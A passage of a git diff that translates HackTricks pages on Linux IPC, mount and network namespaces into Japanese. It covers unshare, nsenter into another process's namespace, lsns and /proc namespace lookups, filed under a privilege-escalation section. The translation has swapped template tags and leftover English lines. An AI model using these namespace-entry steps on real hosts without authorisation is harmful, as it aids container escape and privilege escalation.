disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +PID 1プロセスには特別な機能があります。孤児プロセスの親プロセスになる必要があります。ルート名前空間のPID 1プロセスが終了すると、カーネルはパニックになります。サブ名前空間のPID 1プロセスが終了すると、Linuxカーネルはdisable\_pid\_allocation関数を呼び出し、その名前空間のPIDNS\_HASH\_ADDINGフラグをクリアします。Linuxカーネルが新しいプロセスを作成するとき、カーネルはalloc\_pid関数を呼び出して名前空間内でPIDを割り当てます。PIDNS\_HASH\_ADDINGフラグが設定されていない場合、alloc\_pid関数は-ENOMEMエラーを返します。これが「Cannot allocate memory」エラーが発生する理由です。 +この問題は、'-f'オプションを使用することで解決できます: ``` unshare -fp /bin/bash ``` +もし'unshare'を'-f'オプションと共に実行すると、'unshare'は新しいpid名前空間を作成した後に新しいプロセスをフォークします。そして、新しいプロセスで'/bin/bash'を実行します。新しいプロセスは新しいpid名前空間のpid 1となります。その後、bashはいくつかのサブプロセスをフォークしてジョブを実行します。bash自体が新しいpid名前空間のpid 1であるため、そのサブプロセスは問題なく終了することができます。 -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - -
+[https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)から転載 #### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +### 自分のプロセスがどの名前空間にあるかを確認する -### Check which namespace is your process in +To check which namespace your process is in, you can use the `lsns` command. This command lists all the namespaces on the system along with the processes associated with each namespace. +名前空間がどこにあるかを確認するには、`lsns`コマンドを使用します。このコマンドは、システム上のすべての名前空間とそれに関連するプロセスを一覧表示します。 + +```bash +$ lsns +``` + +The output will show the different namespaces and their associated processes. Look for the process ID (PID) of your process in the output to determine which namespace it belongs to. + +出力には、異なる名前空間とそれに関連するプロセスが表示されます。自分のプロセスのプロセスID(PID)を出力から探し、それがどの名前空間に属しているかを確認します。 ```bash ls -l /proc/self/ns/ipc lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]' ``` - -### Find all IPC namespaces +### すべてのIPCネームスペースを見つける {% code overflow="wrap" %} ```bash @@ -84,18 +84,17 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep ``` +{% code %} + +### IPC ネームスペースに入る + {% endcode %} - -### Enter inside an IPC namespace - ```bash nsenter -i TARGET_PID --pid /bin/bash ``` +また、rootユーザーでない限り、他のプロセスの名前空間には入ることができません。また、`/proc/self/ns/net`のようなディスクリプタがない場合、他の名前空間に入ることはできません。 -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). - -### Create IPC object - +### IPCオブジェクトの作成 ```bash # Container sudo unshare -i /bin/bash @@ -104,21 +103,20 @@ Shared memory id: 0 ipcs -m ------ Shared Memory Segments -------- -key shmid owner perms bytes nattch status -0x2fba9021 0 root 644 100 0 +key shmid owner perms bytes nattch status +0x2fba9021 0 root 644 100 0 # From the host ipcs -m # Nothing is seen ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index 0ad9d23d9..6a0eaf7b1 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -1,85 +1,87 @@ -# Mount Namespace +# マウント名前空間
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic Information +## 基本情報 -A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy. +マウント名前空間は、Linuxカーネルの機能であり、一連のプロセスが見るファイルシステムマウントポイントを分離します。各マウント名前空間には独自のファイルシステムマウントポイントがあり、**1つの名前空間でのマウントポイントの変更は他の名前空間に影響を与えません**。これは、異なるマウント名前空間で実行されるプロセスがファイルシステムの階層に異なるビューを持つことを意味します。 -Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system. +マウント名前空間は、コンテナ化に特に有用であり、各コンテナが他のコンテナやホストシステムから分離された独自のファイルシステムと設定を持つ必要がある場合に使用されます。 -### How it works: +### 動作原理: -1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces. -2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy. -3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace. -4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points. +1. 新しいマウント名前空間が作成されると、それは**親名前空間のマウントポイントのコピー**で初期化されます。つまり、作成時に新しい名前空間は親と同じファイルシステムのビューを共有します。ただし、名前空間内のマウントポイントに対する後続の変更は親や他の名前空間に影響を与えません。 +2. プロセスが名前空間内のマウントポイントを変更する場合(ファイルシステムのマウントやアンマウントなど)、**変更はその名前空間にローカル**であり、他の名前空間には影響を与えません。これにより、各名前空間が独立したファイルシステムの階層を持つことができます。 +3. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して新しい名前空間を作成したりすることができます(`CLONE_NEWNS`フラグを使用)。プロセスが新しい名前空間に移動するか作成すると、その名前空間に関連付けられたマウントポイントを使用し始めます。 +4. **ファイルディスクリプタとinodeは名前空間間で共有**されるため、1つの名前空間のプロセスがファイルを指すオープンされたファイルディスクリプタを持っている場合、そのファイルディスクリプタを別の名前空間のプロセスに**渡すことができ**、**両方のプロセスが同じファイルにアクセス**できます。ただし、マウントポイントの違いにより、両方の名前空間でのファイルのパスが同じであるとは限りません。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なる名前空間の作成 #### CLI - ```bash sudo unshare -m [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +`--mount-proc`パラメータを使用して、新しい`/proc`ファイルシステムのインスタンスをマウントすることで、新しいマウント名前空間には、その名前空間固有のプロセス情報の正確で分離されたビューが確保されます。
-Error: bash: fork: Cannot allocate memory +エラー:bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +`-f`を指定せずに前の行を実行すると、このエラーが発生します。\ +このエラーは、新しい名前空間でPID 1プロセスが終了することによって引き起こされます。 +bashが実行されると、いくつかの新しいサブプロセスをフォークして何かを実行します。-fを指定せずにunshareを実行すると、bashのPIDは現在の「unshare」プロセスと同じになります。現在の「unshare」プロセスはunshareシステムコールを呼び出し、新しいPID名前空間を作成しますが、現在の「unshare」プロセス自体は新しいPID名前空間に存在しません。これはLinuxカーネルの望ましい動作です:プロセスAが新しい名前空間を作成すると、プロセスA自体は新しい名前空間に配置されず、プロセスAのサブプロセスのみが新しい名前空間に配置されます。したがって、次のコマンドを実行すると: ``` unshare -p /bin/bash ``` +unshareプロセスは/bin/bashを実行し、/bin/bashはいくつかのサブプロセスをフォークします。bashの最初のサブプロセスは新しい名前空間のPID 1になり、ジョブが完了するとサブプロセスは終了します。したがって、新しい名前空間のPID 1が終了します。 -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +PID 1プロセスには特別な機能があります。孤児プロセスの親プロセスになる必要があります。ルート名前空間のPID 1プロセスが終了すると、カーネルはパニックになります。サブ名前空間のPID 1プロセスが終了すると、Linuxカーネルはdisable\_pid\_allocation関数を呼び出し、その名前空間のPIDNS\_HASH\_ADDINGフラグをクリアします。Linuxカーネルが新しいプロセスを作成するとき、カーネルはalloc\_pid関数を呼び出して名前空間内でPIDを割り当てます。PIDNS\_HASH\_ADDINGフラグが設定されていない場合、alloc\_pid関数は-ENOMEMエラーを返します。これが「Cannot allocate memory」エラーが発生する理由です。 +この問題は、'-f'オプションを使用することで解決できます: ``` unshare -fp /bin/bash ``` +もし`-f`オプションを使ってunshareを実行すると、unshareは新しいpid namespaceを作成した後に新しいプロセスをフォークします。そして新しいプロセスで`/bin/bash`を実行します。新しいプロセスは新しいpid namespaceのpid 1となります。その後、bashはいくつかのサブプロセスをフォークしてジョブを実行します。bash自体が新しいpid namespaceのpid 1であるため、そのサブプロセスは問題なく終了することができます。 -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) +[https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)から転載
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +### 自分のプロセスがどの名前空間にあるかを確認する -### Check which namespace is your process in +To check which namespace your process is in, you can use the `lsns` command. This command lists all the namespaces on the system along with the processes associated with each namespace. +名前空間がどこにあるかを確認するには、`lsns`コマンドを使用します。このコマンドは、システム上のすべての名前空間と、それぞれの名前空間に関連付けられたプロセスを一覧表示します。 + +```bash +lsns +``` + +The output will show the different namespaces and their associated processes. Look for the process ID (PID) of your process in the `NSPID` column to determine which namespace it belongs to. + +出力には、異なる名前空間とそれに関連するプロセスが表示されます。自分のプロセスのプロセスID(PID)を`NSPID`列で探し、それがどの名前空間に属しているかを確認します。 ```bash ls -l /proc/self/ns/mnt lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]' ``` - -### Find all Mount namespaces +### すべてのマウント名前空間を見つける {% code overflow="wrap" %} ```bash @@ -87,20 +89,19 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | grep ``` +{% code %} + +### マウント名前空間に入る + {% endcode %} - -### Enter inside a Mount namespace - ```bash nsenter -m TARGET_PID --pid /bin/bash ``` +また、rootユーザーでない限り、他のプロセスの名前空間には入ることができません。また、`/proc/self/ns/mnt`のようなディスクリプタがない場合、他の名前空間に入ることはできません。 -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`). - -Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it. - -### Mount something +新しいマウントは名前空間内でのみアクセス可能なため、名前空間にはその名前空間からのみアクセス可能な機密情報が含まれている可能性があります。 +### 何かをマウントする ```bash # Generate new mount ns unshare -m /bin/bash @@ -114,15 +115,14 @@ ls /tmp/mount_ns_example/test # Exists mount | grep tmpfs # Cannot see "tmpfs on /tmp/mount_ns_example" ls /tmp/mount_ns_example/test # Doesn't exist ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index c15fb1a28..88f9efab9 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -1,85 +1,85 @@ -# Network Namespace +# ネットワークの名前空間
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic Information +## 基本情報 -A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system. +ネットワークの名前空間は、Linuxカーネルの機能であり、ネットワークスタックの分離を提供します。これにより、**各ネットワークの名前空間は独立したネットワーク構成**、インターフェース、IPアドレス、ルーティングテーブル、およびファイアウォールルールを持つことができます。この分離は、コンテナ化などのさまざまなシナリオで有用であり、各コンテナは他のコンテナやホストシステムとは独立したネットワーク構成を持つ必要があります。 -### How it works: +### 動作原理: -1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default. -2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container. -3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems. -4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace. +1. 新しいネットワークの名前空間が作成されると、**完全に分離されたネットワークスタック**が開始されます。ループバックインターフェース(lo)以外には**ネットワークインターフェースが存在しない**ことを意味します。これにより、新しいネットワークの名前空間で実行されているプロセスは、デフォルトでは他の名前空間やホストシステムのプロセスと通信することはできません。 +2. vethペアなどの**仮想ネットワークインターフェース**は、ネットワークの名前空間間または名前空間とホストシステム間のネットワーク接続を確立するために作成および移動できます。たとえば、vethペアの一方のエンドをコンテナのネットワークの名前空間に配置し、もう一方のエンドをホストの名前空間の**ブリッジ**または他のネットワークインターフェースに接続することで、コンテナにネットワーク接続を提供できます。 +3. 名前空間内のネットワークインターフェースは、他の名前空間とは独立して、**独自のIPアドレス、ルーティングテーブル、およびファイアウォールルール**を持つことができます。これにより、異なるネットワークの名前空間内のプロセスは、異なるネットワーク構成を持ち、別々のネットワークシステム上で実行されているかのように動作することができます。 +4. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWNET`フラグとともに新しい名前空間を作成したりすることができます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたネットワーク構成とインターフェースを使用し始めます。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なる名前空間の作成 #### CLI - ```bash sudo unshare -n [--mount-proc] /bin/bash # Run ifconfig or ip -a ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +`--mount-proc`パラメータを使用して`/proc`ファイルシステムの新しいインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報の正確で隔離されたビューを持つことが保証されます。
-Error: bash: fork: Cannot allocate memory +エラー:bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +`-f`を指定せずに前の行を実行すると、このエラーが発生します。\ +このエラーは、新しい名前空間でPID 1プロセスが終了することによって引き起こされます。 +bashが実行されると、bashはいくつかの新しいサブプロセスをフォークして何かを行います。-fを指定せずにunshareを実行すると、bashは現在の「unshare」プロセスと同じPIDを持ちます。現在の「unshare」プロセスはunshareシステムコールを呼び出し、新しいPID名前空間を作成しますが、現在の「unshare」プロセス自体は新しいPID名前空間にありません。これはLinuxカーネルの望ましい動作です:プロセスAが新しい名前空間を作成すると、プロセスA自体は新しい名前空間に配置されず、プロセスAのサブプロセスのみが新しい名前空間に配置されます。したがって、次のコマンドを実行すると: ``` unshare -p /bin/bash ``` +unshareプロセスは/bin/bashを実行し、/bin/bashはいくつかのサブプロセスをフォークします。bashの最初のサブプロセスは新しい名前空間のPID 1になり、ジョブが完了するとサブプロセスは終了します。したがって、新しい名前空間のPID 1が終了します。 -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +PID 1プロセスには特別な機能があります。孤児プロセスの親プロセスになる必要があります。ルート名前空間のPID 1プロセスが終了すると、カーネルはパニックになります。サブ名前空間のPID 1プロセスが終了すると、Linuxカーネルはdisable\_pid\_allocation関数を呼び出し、その名前空間のPIDNS\_HASH\_ADDINGフラグをクリアします。Linuxカーネルが新しいプロセスを作成するとき、カーネルはalloc\_pid関数を呼び出して名前空間内でPIDを割り当てます。PIDNS\_HASH\_ADDINGフラグが設定されていない場合、alloc\_pid関数は-ENOMEMエラーを返します。これが「Cannot allocate memory」エラーが発生する理由です。 +この問題は、'-f'オプションを使用することで解決できます: ``` unshare -fp /bin/bash ``` +もし'unshare'を'-f'オプションと共に実行すると、'unshare'は新しいpid名前空間を作成した後に新しいプロセスをフォークします。そして、新しいプロセスで'/bin/bash'を実行します。新しいプロセスは新しいpid名前空間のpid 1となります。その後、bashはいくつかのサブプロセスをフォークしてジョブを実行します。bash自体が新しいpid名前空間のpid 1であるため、そのサブプロセスは問題なく終了することができます。 -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - -
